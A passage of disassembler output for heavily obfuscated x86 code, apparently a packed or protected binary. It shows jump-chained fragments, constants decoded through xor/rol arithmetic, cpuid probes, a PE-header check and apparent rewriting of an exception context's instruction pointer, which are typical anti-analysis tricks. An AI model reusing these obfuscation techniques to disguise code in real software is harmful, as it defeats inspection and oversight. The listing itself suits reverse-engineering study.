loc_42C87E:				; CODE XREF: sub_42F8C4-C4E0j
		jmp	loc_42A739
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: _7hdaygc1:0042A93Bj
					; _7hdaygc1:0042F6FFj
		jmp	loc_42A30F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424680


loc_42C889:				; CODE XREF: sub_424680+1B24j
		jmp	loc_428BA9
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42C88E:				; CODE XREF: sub_42F65A-6ADAj
		xchg	ebp, [esp+0]
		mov	eax, ebp
		pop	ebp
		add	eax, 0EF34EE91h
		xor	eax, 0AF476082h
		rol	eax, 1Ah
		add	eax, 0E8CF0569h
		jmp	loc_42A787
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42C8AE:				; CODE XREF: sub_42D84A:loc_42A67Cj
		adc	esi, 0B1015CE8h
		xchg	esi, [ecx]


loc_42C8B6:				; CODE XREF: sub_42D84A:loc_428321j
		push	esi
		call	sub_426A39


loc_42C8BC:				; CODE XREF: sub_42BB83-61F7j
		jmp	loc_42E3DA
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236EA


loc_42C8C1:				; CODE XREF: sub_4236EA+5j
		jmp	loc_42CA5A
; END OF FUNCTION CHUNK	FOR sub_4236EA
; ---------------------------------------------------------------------------
		jg	loc_426A10
		jmp	loc_42AA45
; ---------------------------------------------------------------------------


loc_42C8D1:				; CODE XREF: _7hdaygc1:0042AC1Dj
		and	eax, 0FFFh
		add	[esi], eax
		push	edi
		mov	edi, ebx
		jmp	loc_42F04E
; ---------------------------------------------------------------------------


loc_42C8E0:				; DATA XREF: sub_424AE1+3886o
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		push	offset loc_425486
		jmp	loc_429FDB
; ---------------------------------------------------------------------------


loc_42C8F0:				; CODE XREF: _7hdaygc1:0042C5D5j
		mov	esi, 733CEF05h
		js	loc_42BADC


loc_42C8FB:				; CODE XREF: _7hdaygc1:loc_42E03Cj
		push	0C69924E3h
		or	eax, 87EF809Ah
		jmp	loc_424794
; ---------------------------------------------------------------------------
		and	ebp, ebx
		jmp	sub_42E41D
; ---------------------------------------------------------------------------


loc_42C912:				; DATA XREF: sub_42BEC6:loc_42D5C3o
		mov	[ecx], eax
		pop	ecx
		lea	eax, [ebp-8]
		push	eax
		push	esi
		call	sub_423812
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_42C91F:				; CODE XREF: sub_428B5B:loc_42DC1Fj
		jnz	sub_426EBD
		jmp	loc_42B2F6
; END OF FUNCTION CHUNK	FOR sub_428B5B

; =============== S U B	R O U T	I N E =======================================



sub_42C92A	proc near		; DATA XREF: _7hdaygc1:0042ADE0o
		xchg	edi, [esp+0]
		jmp	sub_42AA07
sub_42C92A	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42C933:				; CODE XREF: sub_426130:loc_425D7Aj
					; sub_42F4CE+6j
		call	sub_4242E0
; END OF FUNCTION CHUNK	FOR sub_426130
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_42C938:				; CODE XREF: sub_42A833+Fj
		jz	loc_423004
		jmp	loc_42609D
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------


loc_42C943:				; CODE XREF: _7hdaygc1:0042F883j
		jnz	loc_42ED59
		jmp	loc_42EA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_42C94E:				; CODE XREF: sub_42936E+6738j
		mov	edx, [edx]
		push	edx
		push	edx
		mov	edx, ebx
		xchg	edx, [esp+8+var_8]
		jmp	loc_4296E3
; END OF FUNCTION CHUNK	FOR sub_42936E
; ---------------------------------------------------------------------------


loc_42C95C:				; CODE XREF: _7hdaygc1:0042B7E4j
		sub	ecx, 0A3DABF7Eh
; START	OF FUNCTION CHUNK FOR sub_42FCD3


loc_42C962:				; CODE XREF: sub_42FCD3:loc_42B7CDj
		add	ecx, 910B8F5Eh
		xchg	ecx, [esp+0]
		jmp	loc_42F926
; END OF FUNCTION CHUNK	FOR sub_42FCD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42C970:				; CODE XREF: sub_42EF91:loc_42F9B7j
		pop	edi
		rol	edi, 16h
		sub	edi, ds:4000F0h
		xor	edi, 849CA48Dh
		jnz	loc_42A140


loc_42C986:				; CODE XREF: sub_4289CE-3F61j
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242E0


loc_42C98B:				; CODE XREF: sub_4242E0+Aj
		jmp	loc_429C9C
; END OF FUNCTION CHUNK	FOR sub_4242E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42C990:				; CODE XREF: sub_4291EA-1F31j
		jz	loc_42C2CC
		jmp	loc_429DD6
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_42C99B:				; CODE XREF: sub_424A2B:loc_42C2F0j
					; _7hdaygc1:0042C304j
		or	ecx, ds:4000F6h
		add	ecx, 1448327Eh
		xchg	ecx, [esp+4+var_4]
		jmp	sub_424DF3
; END OF FUNCTION CHUNK	FOR sub_424A2B
; ---------------------------------------------------------------------------
		xchg	ecx, esi
		jmp	sub_42F4CE
; ---------------------------------------------------------------------------


loc_42C9B6:				; CODE XREF: _7hdaygc1:0042A602j
		jo	loc_42B8FE
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42C9BC:				; CODE XREF: sub_42C443-8521j
		xor	ecx, 53847060h
		rol	ecx, 1Eh
		add	ecx, 8A322D64h
		jmp	loc_42C394
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_42C9D0:				; CODE XREF: sub_424AA8+64C0j
					; _7hdaygc1:0042C1F8j
		rol	eax, 15h


loc_42C9D3:				; CODE XREF: _7hdaygc1:0042F284j
		push	ebx
		push	eax
		pop	ebx
		xchg	ebx, [esp+4+var_4]
		push	offset sub_428C26
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------
		cmp	edx, eax
		jmp	loc_42C677
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42C9EA:				; CODE XREF: sub_42C16F-3907j
		mov	eax, [eax]
		mov	eax, [eax]
		shl	eax, 0Fh
		mov	edx, [ebp-4]
		add	[edx], eax
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42C9F9:				; CODE XREF: sub_4270E6:loc_42C310j
					; _7hdaygc1:0042D78Bj
		jmp	sub_42B650
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42C9FE:				; CODE XREF: sub_42AA07-38AFj
		jmp	nullsub_50
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C405


loc_42CA03:				; CODE XREF: sub_42C405+1j
		mov	ebx, ebp
		call	sub_42CCDD


loc_42CA0A:				; CODE XREF: _7hdaygc1:0042EA02j
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_42C405
; ---------------------------------------------------------------------------
		mov	edx, 95918C9Dh
		call	sub_4241F3


loc_42CA19:				; CODE XREF: _7hdaygc1:00428EACj
		jmp	loc_42AE1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D30E


loc_42CA1E:				; CODE XREF: sub_42D30E-7C6Ej
		jmp	loc_4283BA
; END OF FUNCTION CHUNK	FOR sub_42D30E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4254BE


loc_42CA23:				; CODE XREF: sub_4254BE+9j
		jmp	loc_428108
; END OF FUNCTION CHUNK	FOR sub_4254BE

; =============== S U B	R O U T	I N E =======================================



sub_42CA28	proc near		; DATA XREF: _7hdaygc1:0042E2FEo
		cmp	dword ptr [eax-4], 4
		jnz	loc_42CA3B
		add	dword ptr [ebp-8], 4
		jmp	loc_42BC99
; ---------------------------------------------------------------------------


loc_42CA3B:				; CODE XREF: sub_42CA28+4j
		push	offset sub_42F7B5
		jmp	loc_428452
sub_42CA28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42CA45:				; CODE XREF: sub_423648:loc_42CADCj
		shl	eax, 8
		mov	edx, [ebp-20h]
		call	sub_42D0FB


loc_42CA50:				; CODE XREF: sub_42F467-C35j
		jmp	loc_42B23F
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEDA


loc_42CA55:				; CODE XREF: sub_42BEDA+7j
		jmp	loc_42BC02
; END OF FUNCTION CHUNK	FOR sub_42BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236EA


loc_42CA5A:				; CODE XREF: sub_4236EA:loc_42C8C1j
		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_4297A0
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		jmp	loc_42F049
; END OF FUNCTION CHUNK	FOR sub_4236EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E51C


loc_42CA79:				; CODE XREF: sub_42E51C+1570j
		push	offset sub_42E1F1
		jmp	loc_42498B
; END OF FUNCTION CHUNK	FOR sub_42E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42CA83:				; CODE XREF: sub_42A92E:loc_42322Fj
		ror	eax, 4
		call	sub_428BDA


loc_42CA8B:				; CODE XREF: _7hdaygc1:0042DE57j
		jmp	loc_4271C2
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------


loc_42CA90:				; CODE XREF: _7hdaygc1:0042AAFAj
		jmp	locret_42505A
; ---------------------------------------------------------------------------


loc_42CA95:				; DATA XREF: sub_42AFFE-6C84o
		popf
		xchg	esi, [esp]
		jmp	loc_42BF69
; ---------------------------------------------------------------------------


loc_42CA9E:				; CODE XREF: _7hdaygc1:00427E16j
		or	edx, 15D9F8CCh
		xor	edx, 1596B02Dh
		call	sub_425B78
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_42CAAF:				; CODE XREF: sub_42986C+13j
		jmp	loc_429F52
; END OF FUNCTION CHUNK	FOR sub_42986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDF5


loc_42CAB4:				; CODE XREF: sub_42DDF5:loc_42BC7Dj
		pop	edi
		and	edi, 0F2D7A9h
		xor	edi, 0B9D1D773h
		rol	edi, 1Eh
		sub	edi, 3D358323h
		add	edi, 8EFAE805h
		mov	[edi], eax
		call	sub_42B8F8
; END OF FUNCTION CHUNK	FOR sub_42DDF5
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42CAD7:				; CODE XREF: sub_423172+5288j
		jmp	loc_429BC9
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42CADC:				; CODE XREF: sub_423648+DAAj
		jmp	loc_42CA45
; END OF FUNCTION CHUNK	FOR sub_423648

; =============== S U B	R O U T	I N E =======================================



sub_42CAE1	proc near		; CODE XREF: sub_42DAE8+5p
					; _7hdaygc1:0042E8FEj
		xchg	edx, [esp+0]
		pop	edx
		push	0FF5BB26Bh
		pop	eax
		xor	eax, 4B3BF014h
		jmp	loc_42CBD7
sub_42CAE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42CAF6:				; CODE XREF: _7hdaygc1:0042B1DEj
		jnz	loc_429820


loc_42CAFC:				; CODE XREF: _7hdaygc1:loc_423239j
		push	offset loc_429CE7
		jmp	locret_423F7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42CB06:				; CODE XREF: sub_42E283-1C4j
		sbb	ecx, edi


loc_42CB08:				; CODE XREF: _7hdaygc1:00429DECj
		xor	esi, eax
		jmp	loc_42DD90
; END OF FUNCTION CHUNK	FOR sub_42E283

; =============== S U B	R O U T	I N E =======================================



sub_42CB0F	proc near		; CODE XREF: _7hdaygc1:00426381j
					; sub_42DC52+6p
		xchg	eax, [esp+0]


loc_42CB12:				; CODE XREF: _7hdaygc1:004247D1j
		pop	eax
		add	eax, 0D4FE2045h
		push	ebx
		jmp	loc_42E1EC
sub_42CB0F	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	0B09A7A66h
		pop	ebx
		and	ebx, 9584A561h
		xor	ebx, 90802060h
		xchg	ebx, [esp]
		jmp	loc_4288EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B78


loc_42CB3A:				; CODE XREF: sub_425B78+Fj
		push	eax
		ror	eax, 12h
		jmp	loc_4281BF
; END OF FUNCTION CHUNK	FOR sub_425B78
; ---------------------------------------------------------------------------


loc_42CB43:				; CODE XREF: _7hdaygc1:loc_426917j
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_42F9C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_42CB53:				; CODE XREF: sub_429532:loc_42B700j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_4236DB
		mov	eax, [ebp-4]
		jmp	loc_4247FF
; ---------------------------------------------------------------------------


loc_42CB67:				; CODE XREF: sub_429532:loc_429538j
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		jmp	loc_42685C
; END OF FUNCTION CHUNK	FOR sub_429532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_42CB72:				; CODE XREF: sub_42F152:loc_4292E5j
		popf
		and	edx, 0F4786D2Fh
		pop	esi
		adc	ecx, 0D623105Fh
		jmp	loc_425E30
; END OF FUNCTION CHUNK	FOR sub_42F152

; =============== S U B	R O U T	I N E =======================================



sub_42CB85	proc near		; CODE XREF: sub_42D30E+17B6p

; FUNCTION CHUNK AT 0042D27C SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edi
		mov	eax, [eax]
		call	sub_427EF6


loc_42CB91:				; CODE XREF: sub_426D30+4j
		jmp	loc_42D27C
sub_42CB85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426B62


loc_42CB96:				; CODE XREF: sub_426B62+19j
		jmp	sub_42B470
; END OF FUNCTION CHUNK	FOR sub_426B62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42CB9B:				; CODE XREF: sub_425A37-470j
		jge	loc_42A017
		adc	edi, 0A12CF5AFh


loc_42CBA7:				; CODE XREF: sub_425A37:loc_4255B0j
		rol	ebx, 16h
		cmp	ebx, 0C466654Ch
		jmp	loc_42BA05
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42CBB5:				; CODE XREF: sub_42A052-5E5j
		add	edi, 6264C5B8h
		xchg	edi, [esp+4+var_4]
		jmp	loc_42DB87
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
		mov	[eax], esi

; =============== S U B	R O U T	I N E =======================================



sub_42CBC5	proc near		; CODE XREF: sub_42DDF5:loc_427105p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	sub_42A94C
sub_42CBC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B20


loc_42CBD1:				; CODE XREF: sub_423B20:loc_424D19j
		jnz	loc_42872F


loc_42CBD7:				; CODE XREF: sub_42CAE1+10j
		jmp	loc_42EC61
; END OF FUNCTION CHUNK	FOR sub_423B20
; ---------------------------------------------------------------------------
		jo	loc_42A439
		add	edx, eax
		jmp	loc_428727
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_42CBEA:				; CODE XREF: sub_426A62+13j
		cmp	ds:dword_42BC60, 0
		jnz	loc_42E978
		jmp	loc_426F6C
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_42CBFC:				; CODE XREF: sub_42A2EF:loc_42A522j
		jbe	loc_4262E0
		and	ecx, 3D8A1A81h
		not	edx
		jmp	loc_4294C0
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_42CC0F:				; DATA XREF: sub_42F0B4-33D4o
		jno	loc_4248BE
		add	esp, 0FFFFFFF0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		jmp	loc_4248AC
; ---------------------------------------------------------------------------


loc_42CC23:				; CODE XREF: _7hdaygc1:loc_426C9Dj
		mov	ecx, [ecx]
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42CC29:				; CODE XREF: sub_42911B+6j
		mov	ebp, esp
		push	edx
		push	27C172B7h
		jmp	loc_42DE34
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------


loc_42CC36:				; DATA XREF: sub_42A94C+5449o
		cmp	dword ptr [ebp-0Ch], 0
		jle	loc_42B068
		jmp	loc_426991

; =============== S U B	R O U T	I N E =======================================



sub_42CC45	proc near		; CODE XREF: sub_42A94C+3j

; FUNCTION CHUNK AT 0042EA5D SIZE 0000000D BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		jmp	loc_42EA5D
sub_42CC45	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B32F


loc_42CC53:				; CODE XREF: sub_42B32F:loc_42DE25j
		push	offset sub_427E1C
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_42B32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_42CC5D:				; CODE XREF: sub_42F8DB:loc_42A797j
		xor	[esi], edx
		mov	eax, 80000004h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		push	offset loc_42A387
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_42F8DB

; =============== S U B	R O U T	I N E =======================================



sub_42CC76	proc near		; DATA XREF: sub_424963+743Bo

; FUNCTION CHUNK AT 00424D96 SIZE 00000005 BYTES

		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_424D96
sub_42CC76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42CC88:				; CODE XREF: sub_424963+Bj
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		jmp	loc_425546
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
		rol	ecx, 2
		jmp	sub_425FCB
; ---------------------------------------------------------------------------


loc_42CC9C:				; CODE XREF: _7hdaygc1:004282A3j
		adc	esi, 60F1DAE8h
		jmp	loc_42F23A
; ---------------------------------------------------------------------------


loc_42CCA7:				; CODE XREF: _7hdaygc1:0042E3FDj
		xor	edi, esi


loc_42CCA9:				; CODE XREF: _7hdaygc1:loc_425F10j
		mov	eax, 80000002h
		xor	ebx, ebx
		call	sub_427248


loc_42CCB5:				; CODE XREF: _7hdaygc1:loc_42404Ej
		jz	loc_428DA3
		jmp	loc_42549D
; ---------------------------------------------------------------------------
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 3
		jnz	loc_426588
		jmp	loc_429BE2
; ---------------------------------------------------------------------------
		sub	ecx, 37E2BF68h
		jmp	loc_424CDA

; =============== S U B	R O U T	I N E =======================================



sub_42CCDD	proc near		; CODE XREF: _7hdaygc1:00423072j
					; sub_42C405+600p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004262AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426CB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429380 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429AE8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B2F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B720 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DA37 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042F2AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042FD3D SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, esp
		push	ecx
		jmp	loc_426CB6
sub_42CCDD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42CCEC:				; CODE XREF: sub_425A37:loc_42BA0Bj
		xchg	edi, [esp+0]
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		push	offset loc_42AE7E
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_425A37

; =============== S U B	R O U T	I N E =======================================



sub_42CCFE	proc near		; DATA XREF: sub_42D287:loc_425D50o

; FUNCTION CHUNK AT 0042818B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428F2B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D82D SIZE 00000005 BYTES

		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		jmp	loc_42D82D
sub_42CCFE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42CD19:				; CODE XREF: sub_42C50D-1C1j
		js	loc_42E086
; END OF FUNCTION CHUNK	FOR sub_42C50D

; =============== S U B	R O U T	I N E =======================================



sub_42CD1F	proc near		; CODE XREF: sub_42B265-C46p
		xchg	esi, [esp+0]
		pop	esi
		mov	[ebx], eax
		pop	ebx
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 4550h
		jmp	loc_429D16
sub_42CD1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42CD34:				; CODE XREF: sub_42C443:loc_42ABF0j
		ja	loc_424551
		jmp	loc_4293C4
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F7E6


loc_42CD3F:				; CODE XREF: sub_42F7E6:loc_42CD85j
		push	offset loc_423433
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_42F7E6
; ---------------------------------------------------------------------------


loc_42CD49:				; CODE XREF: _7hdaygc1:0042C82Ej
		jnz	loc_42A25C
		pushf


loc_42CD50:				; CODE XREF: _7hdaygc1:loc_4287F5j
		mov	edx, [ebp-4]
		lea	eax, [ebp-0Ch]
		push	0C737B222h
		pop	ecx
		rol	ecx, 18h
		xor	ecx, 4A9B6C73h
		jmp	loc_42E279
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: _7hdaygc1:00424536j
		or	ecx, 53633075h


loc_42CD70:				; CODE XREF: _7hdaygc1:loc_42452Aj
		and	ecx, 6C1E5791h
		add	ecx, 0F8287BD9h
		xchg	ecx, [esp]
		jmp	loc_428E32
; ---------------------------------------------------------------------------

locret_42CD84:				; CODE XREF: _7hdaygc1:004261B7j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F7E6


loc_42CD85:				; CODE XREF: sub_42F7E6+7j
		jmp	loc_42CD3F
; END OF FUNCTION CHUNK	FOR sub_42F7E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42CD8A:				; CODE XREF: sub_42EF91-2131j
		jmp	loc_42B234
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42CD8F:				; CODE XREF: sub_425F27-A52j
		jmp	sub_4252F5
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_42CD94:				; CODE XREF: sub_42F3C8:loc_42FBB1j
		push	ecx
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0Ch+var_C]
		push	esi
		pop	eax
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_42DA65
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_423B1C
		push	eax
		push	2D5E9C0Bh
		pop	eax
		jmp	loc_42C7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_42CDB6:				; CODE XREF: sub_427EF6-37D5j
		shl	ebp, 1Ah
		and	edx, ebx
		and	esi, eax
		jmp	loc_427FC1
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42CDC2:				; CODE XREF: sub_42C443+B41j
		jnp	loc_42FA52
		jnz	nullsub_121
		jmp	loc_426245
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A693


loc_42CDD3:				; CODE XREF: sub_42A693+6j
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_42A693
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42CDD4:				; CODE XREF: sub_42D9E1:loc_4280D6j
		xor	edx, edx
		mov	edx, ds:dword_42BC60
		lea	eax, [edx+eax*4]
		jmp	loc_42B2EC
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42826A


loc_42CDE4:				; CODE XREF: sub_42826A:loc_4296A2j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42826A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42CDE7:				; CODE XREF: sub_42C50D-8DDj
		jmp	loc_42FD87
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42CDEC:				; CODE XREF: sub_42E076+Aj
					; sub_423DFC+A815j
		push	0D9C5C875h
		pop	eax
		jmp	loc_4231C1
; END OF FUNCTION CHUNK	FOR sub_423DFC

; =============== S U B	R O U T	I N E =======================================



sub_42CDF7	proc near		; DATA XREF: sub_42837F-20A9o

; FUNCTION CHUNK AT 004240E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424410 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424431 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C5A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042AD4C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042BCB6 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0042C04A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042D96C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042EEAC SIZE 0000000B BYTES

		pop	ebp
		mov	eax, ds:dword_425158
		or	eax, eax
		call	sub_42E41D


loc_42CE05:				; CODE XREF: _7hdaygc1:0042A25Ej
		call	sub_428C3B
		push	687DF4ABh
		pop	edx
		or	edx, 99E4D73Ah
		jmp	loc_424431
sub_42CDF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42CE1B:				; CODE XREF: sub_42C7F3-6794j
		pop	ecx
		add	ecx, 109C6C68h
		rol	ecx, 2
		xor	ecx, 0CCA4A377h
		sub	ecx, 57553ABBh
		xor	ecx, 0F1C2C111h
		add	eax, ecx
		pop	ecx
		jmp	loc_429203
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------


loc_42CE3F:				; DATA XREF: sub_4252C8:loc_425BC1o
		or	[edx-8], eax
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_42CE42:				; CODE XREF: sub_4246D7+8FE9j
					; sub_4246D7+8FF2j ...
		jnb	loc_424DD9
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_42F411
		mov	eax, [ebp+8]
		jmp	loc_4286AD
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


